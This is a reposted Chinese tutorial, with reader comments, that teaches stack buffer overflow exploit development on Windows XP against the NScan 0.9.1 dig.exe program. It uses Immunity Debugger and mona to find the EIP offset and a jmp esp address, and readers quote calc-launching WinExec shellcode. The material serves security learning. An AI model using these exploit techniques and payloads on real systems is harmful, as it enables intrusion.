CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

漏洞利用

2018年11月18日 554点热度 0人点赞 0条评论

漏洞利用
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
Windows漏洞利用开发教程Part 1 zusheng专栏作者2018-04-09现金奖励共336031人围观 ,发现 51 个不明物体 新手科普系统安全
* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载

p1.jpg
0×01 前言
漏洞-信息安全界最常见的词汇,在百度百科是这样描述的。

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

本文主要介绍的是Windows软件漏洞的利用开发教程。

我花了大量的时间来研究了计算机安全领域Windows漏洞利用开发,希望能和大家分享一下,能帮助到对这方面感兴趣的朋友,如有不足,还请见谅。

0×02 准备阶段
由浅入深,从简单的入手然后慢慢的学习更复杂的系统攻击,我们先来学习一下Windows XP(32位)简单的缓冲区溢出攻击。所以我们需要准备以下工具:

1、Windows XP SP3 32-bit系统iso镜像

2、Immunity Debugger-漏洞分析专用调试器

3、代码文本编辑器(个人喜好,我用的是notepad++)

准备好上面的三个后,我们开始搭建虚拟机环境,这个我就简单的介绍一下。

这里我使用的是VMware,我们打开软件后新建一个虚拟机,然后就是安装系统很简单。

p2.png

0×03 漏洞分析
现在你肯定想动手试一试了,我们的目标是Windows端口扫描仪NScan版本0.9.1

漏洞地址:

https://www.exploit-db.com/exploits/40297/

软件下载地址:

https://www.exploit-db.com/apps/b235ebf93610e43c8b2246ea39d71ba7-nscan091.exe

软件下载安装

p3.pngp3.png

阅读文档我们知道漏洞出自dig.exe的Target字段,这是一个堆栈缓冲区溢出错误。

验证
现在我们来验证一下错误的触发,将1100个A字符串输入到Target字段中并点击TCP lookup,观察它是否崩溃。

获取1100个a字符

python:
print 'a'*1100
15221322156433.png!small

点击后我们发现确实程序崩溃了

1522132223498.png!small

由用户输入导致的程序崩溃是一个漏洞利用开发的开始。

分析
我们知道该程序因为我们的输入奔溃啦,现在来分析一下它为什么会崩溃。

第一步:打开Immunity Debugger

15221322307602.png!small

点击File-Open打开dig.exe

15221322373349.png!small

点击Run program或者按F9让程序运行。

15221322431117.png!small

运行完我们继续触发崩溃。

15221322507939.png!small

崩溃后我们来看寄存器。

15221322583499.png!small

看EIP寄存器0×61616161,这是哪里来的?其实它是我们输入的,字符串a的十六进制ASCII就是61。程序将字母a存入文本字段缓冲区直到溢出并替换堆栈上返回地址的内容。因此我们称为堆栈缓冲区溢出漏洞。这意味着我们可以控制EIP寄存器的值从而控制目标程序的执行流程。

0×04 漏洞利用开发
现在我们想要利用这个控制并执行我们自己的控制代码。

寻找EIP offset
首先我们需要找到EIP offset,也就是正好覆盖到EIP的偏移量以便我们精准的覆盖EIP寄存器。所以我们要知道哪4个 a是放入到了EIP寄存器中,这就很复杂了,当然方法是有的,这里我们使用Immunity Debugger的插件mona,这样我们就避免了平常复杂的寻找方法。

安装mona:

https://github.com/corelan/mona

将mona.py放在Immunity Debugger安装目录PyCommands下就行了。

第一步:设置mona文本日志所在的文件夹

!mona config -set workingfolder c:\logs\%p
15221322664340.png!small

第二步:生成1100个测试字符

!mona pattern_create 1100
运行完在C:\logs\dig\pattern.txt中找到。

15221322733418.png!small

第三步:复制测试字符串,将测试字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)

15221322798399.png!small

可以发现EIP地址现在是0×68423268

第四步:确定偏移量

!mona pattern_offset 0x68423268
15221322861177.png!small

我们找到了偏移量997

测试
我们找到了,但是这对不对呢,我们来测试一下,我们使用Python脚本来生成一个Payload。

bfsize = 1100
a = "\x41"*997
eip = "\x42"*4
exploit = a + eip
c = "\x43"*(bfsize-len(exploit))
buffer = exploit + c
print buffer
print "Buffer size: " + str(len(buffer)) + "\n"
很简单的一个脚本生成一个1100字符的测试payload

15221322951151.png!small

将测试字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)

15221323039758.png!small

不出意外,EIP被精确的覆盖。

寻找合适的地址覆盖EIP
现在,我们已经证实我们可以将EIP覆盖为任意地址,那么到底覆盖为哪个地址呢?对于本教程,我们将选择ESP寄存器作为我们代码执行目标。

CTRL+F2重新运行

15221323159839.png!small

点击Run program或者按F9让程序运行然后输入指令

!mona jmp -r esp
15221323256441.png!small

稍作等待,我们进入mona日志目录(前面设置的目录),可以发现jmp.txt

15221323343468.png!small

我们通常选择kernel32.dll模块。

开发框架
准备的差不多了,我们现在来完成生成Payload的Python框架吧。

# -*- coding: UTF-8 -*-
import struct
junk = "A" * 997 #偏移
eip = struct.pack("python payload.py
[+]Exploit successfully!
我们复制生成的payload,将payload字符串输入到Target字段中并点击TCP lookup(步骤和前面相同)

15221323625806.png!small

很好,我们终于一步步完成了,成功弹出了一个计算器。

0×05 总结
一步步遇到的坑也不少,希望能帮助到需要的朋友,下面来总结一下本文一些知识点吧。在文中我们一步步证码了漏洞的存在,多次使用了Immunity Debugger的插件mona很大减少了复杂的操作步骤,查找函数地址,简单的构建了一个弹计算器的shellcode。本人水平有限,如有不足,还请各位兄弟指出。

* 本文作者:zusheng,本文属FreeBuf原创奖励计划,未经许可禁止转载

zusheng
zusheng
19 篇文章
等级: 6级
||
上一篇:没事儿下个副本吧?逆向新手踩坑指南下一篇:间谍软件Agent Tesla变种再现:通过特制Word文档诱导安装
发表评论已有 51 条评论

赵伟 2018-04-09回复 1楼
哈哈,挺详细的,支持一下,感谢分享啦

亮了(1)

hundan 2018-04-09回复 2楼
看雪翻译的那个系列也不错,跟楼主这个基本一样,不知道楼主写这个是不是参考了那个系列?

亮了(0)

zusheng 专栏作者(6级) 2018-04-09回复
@ hundan 并没有参考那个系列,有点巧合吧,毕竟第一篇基础知识上差不多。本文参考是肯定参考的,基本上是参考了国外好几篇。

亮了(0)

5ecurity (3级) 2018-04-09回复 3楼
很详细,学习一下。

亮了(0)

zusheng 专栏作者(6级) 2018-04-09回复
@ 5ecurity 谢谢支持 :smile:

亮了(0)

死宅10086 (7级) 2018-04-09回复 4楼
感谢分享 :grin: 爱你哦 :grin:

亮了(3)

zusheng 专栏作者(6级) 2018-04-09回复
@ 死宅10086 :smile: 哈哈,七级大佬,你好啊。

亮了(0)

ziluobu (3级) 2018-04-09回复 5楼
讲解的浅显易懂,感谢。

亮了(0)

zusheng 专栏作者(6级) 2018-04-09回复
@ ziluobu :smile: 感谢支持

亮了(0)

方小贱 2018-04-10回复 6楼
谢谢分享 期待楼主写更多的exp

亮了(0)

中华隐士家族 (2级) 2018-04-10回复 7楼
这才是真正的干货

亮了(0)

QQ浏览器 2018-04-13回复 8楼
大佬 ,计算器是 calc, # push 0x636c6163,这句话应该是 push 0x63616c63 :neutral:

亮了(0)

zusheng 专栏作者(6级) 2018-04-13回复
@ QQ浏览器 兄弟,入栈操作是从右到左。

亮了(0)

jamzy (1级) 2018-05-14回复
@ QQ浏览器 这是大端序 小端序的问题

亮了(0)

evilknight (3级) 2018-10-29回复
@ QQ浏览器 这里的作用其实就是把字符串calc保存在栈上,供后面winexec调用,但是push进去的是数字,数字存在大小端的问题,所以得那么写。

亮了(0)

haibara3839 (1级) 2018-04-14回复 9楼
:eek:

亮了(0)

whatement (1级) 2018-04-16回复 10楼
:smile: :smile: 感谢大佬分享

亮了(0)

进击的大熊2018 (4级) 微信公众号:进击的大熊 2018-04-17回复 11楼
感谢分享,好人一生平安

亮了(0)

luchfang (1级) 2018-04-24回复 12楼
nops = "\x90" * 10 楼主,这个填充字节为什么是10个字节,是通过怎样测试出来的,不是很明白,能不能介绍一下 :oops:

亮了(0)

zusheng 专栏作者(6级) 2018-04-25回复
@ luchfang 你可以想象在跳板滑雪时想要平稳落地需要找一块平地一样,具体这个平地多大一个个试一试,基本上在20左右。

亮了(0)

因为编译错误 (1级) 2018-04-26回复 13楼
对我这种刚开始接触的很有用啊~谢谢~

亮了(0)

summiting (1级) 2018-04-26回复 14楼
感谢

亮了(0)

summiting (1级) 2018-04-27回复 15楼
楼主请问 那个jmp跳到 esp寄存器中的地址,然后出现kernel32.dll是怎么回事,是kernel32.dll的入口地址就是esp寄存器的地址么?

你那个代码的意思是不是加载完kernel.dll模块之后然后执行shell code 再然后fill?

你这怎么保证执行完kernel.dll之后就执行shellcode呢。

难道将shellcode压入esp寄存器里面就会自动执行么?

只是有很多疑惑,楼主勿怪,是不是我基础差才有那么多疑问?

亮了(1)

zusheng 专栏作者(6级) 2018-04-27回复
@ summiting

1、覆盖为那个地址,程序执行流程就会进入kernel32模块了

2、这也是为什么要在EIP和shellcode中间加入NOP,这是确保程序返回后能顺利的执行shellcode,解释不如动手,你可以尝试跟踪一下程序运行流程。

3、fill只是确保程序会触发溢出,你可以再小一点,如果程序都不会触发崩溃溢出,你如何构建都是没啥用啊。为什么是2000?这不是一个具体数字,你要确保程序崩溃溢出就行了。

4、shellcode并不是放入了esp寄存器,而是在栈区。你可以想象call esp就是一个滑雪的跳板。

亮了(2)

summiting (1级) 2018-05-14回复
@ zusheng 感谢解答

亮了(0)

커피 밀크흥차 고양이 (1级) 2018-05-14回复 16楼
谢谢楼主 会继续支持楼主 希望尽快更新

亮了(0)

Aureliano (1级) 2018-05-14回复 17楼
学习了 :mrgreen: 感谢楼主

亮了(0)

sumiting 2018-05-15回复 18楼
shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0

shellcode += "\x51" # push ecx 将ecx寄存器压入栈中

shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中

shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中

shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD 将计算器函数的内存地址赋给eax寄存器

shellcode += "\xFF\xD0" # call eax 调用这个函数

这个shellcode有点不能理解,,感觉只需要最后两条 mov eax,0x7c8623AD call eax就能实现调用计算器了,前面那些push实在不能理解,希望看到的大佬能帮忙解答下。。。

亮了(1)

test 2018-06-05回复
@ sumiting 0x7c8623AD is the address of WinExec

亮了(0)

summiting (1级) 2018-05-15回复 19楼
shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0

shellcode += "\x51" # push ecx 将ecx寄存器压入栈中

shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中

shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中

shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD 将计算器函数的内存地址赋给eax寄存器

shellcode += "\xFF\xD0" # call eax 调用这个函数

这个shellcode有点不能理解,,感觉只需要最后两条 mov eax,0x7c8623AD call eax就能实现调用计算器了,前面那些push实在不能理解,希望看到的大佬能帮忙解答下。。。

亮了(0)

zusheng 专栏作者(6级) 2018-06-25回复
@ summiting 这是在调用WinExec函数,前面是在将参数入栈啊。详见函数调用约定。

亮了(0)

sumiting 2018-10-11回复
@ supervisor 你这个搞好了么?我的也是弹计算器的那段shellcode在txt中是一段乱码,我把包括乱码的那个字符串复制到程序中,跟你的结果一样

亮了(0)

evilknight (3级) 2018-10-29回复
@ summiting

shellcode = "\x31\xC9" # xor ecx,ecx 将计数寄存器ecx置为0

shellcode += "\x51" # push ecx 将ecx寄存器压入栈中

shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 将calc压入栈中

这三行代码的作用是把calc字符串保存在栈上,字符串是以结尾的,所以有了前面的xor ecx,ecx; push ecx

shellcode += "\x54" # push dword ptr esp 将esp堆栈指针寄存器的值压入栈中

上面用的是push操作,esp的值会相应的变化,push esp就相当于把calc字符串的首地址传给winexec

亮了(0)

1024凑个整 (1级) 2018-05-16回复 20楼
为毛我输入1100个a并没有奔溃啊

亮了(1)

Thompson 2018-05-24回复 21楼
他妈的,弹不出calc,shellcode是乱码怎么往target里面写啊,写了乱码在调试器里面根本不是我要的代码

亮了(1)

Thompson 2018-05-24回复 22楼
不对,我验证了一下,在虚拟机里面通过了,但是实体机,pc上面不行,不行啊。。。。

亮了(0)

zusheng 专栏作者(6级) 2018-06-25回复
@ Thompson 这不是虚拟机和实体机问题,而是操作系统不同

亮了(0)

coolboy08 (1级) 2018-06-22回复 23楼
有seh的,覆盖不到指定eip啊,无法使用kernel32模块啊,求大佬解决

亮了(0)

coldface 2018-06-22回复
@ coolboy08 兄弟你看看作者其他几篇文章啊,有SEH后面文章有介绍

亮了(0)

coolboy08 (1级) 2018-06-24回复
@ coldface 谢啦,哥们,才看到

亮了(0)

coolboy08 (1级) 2018-06-25回复 24楼

,这个怎么找kernel32模块的地址啊

亮了(0)

zusheng 专栏作者(6级) 2018-06-25回复
@ coolboy08 看后面modulename path路径啊,查看属于哪个dll,这是文本文件,你直接搜索kernel32就行啦

亮了(0)

coolboy08 (1级) 2018-06-25回复
@ zusheng 您好,是那个base地址么,我尝试了以后在程序里变成了74D02020

亮了(0)

zusheng 专栏作者(6级) 2018-06-27回复
@ coolboy08 首先请你了解一下你的EIP寄存器,然后你的断点是设置在哪里的,程序运行过去了,EIP指针肯定发生变化啊。

亮了(0)

zusheng 专栏作者(6级) 2018-06-27回复
@ coolboy08 请保证你的操作系统是Windows XP SP3 32-bit,操作系统不同,也要做相应的变化。

亮了(0)

supervisor 2018-07-15回复 25楼
0x7c836a08 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll]

————————————————————————-

00000385 0006250D WinExec .text

imageBasse: 7C800000

offset: 0006250D

tagetAddress:imageBasse+offset

7C86250D

—————————————————————————

# -*- coding: UTF-8 -*-

import struct

junk = "A" * 997 #偏移

eip = struct.pack("

标签: 暂无
最后更新:2018年11月18日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me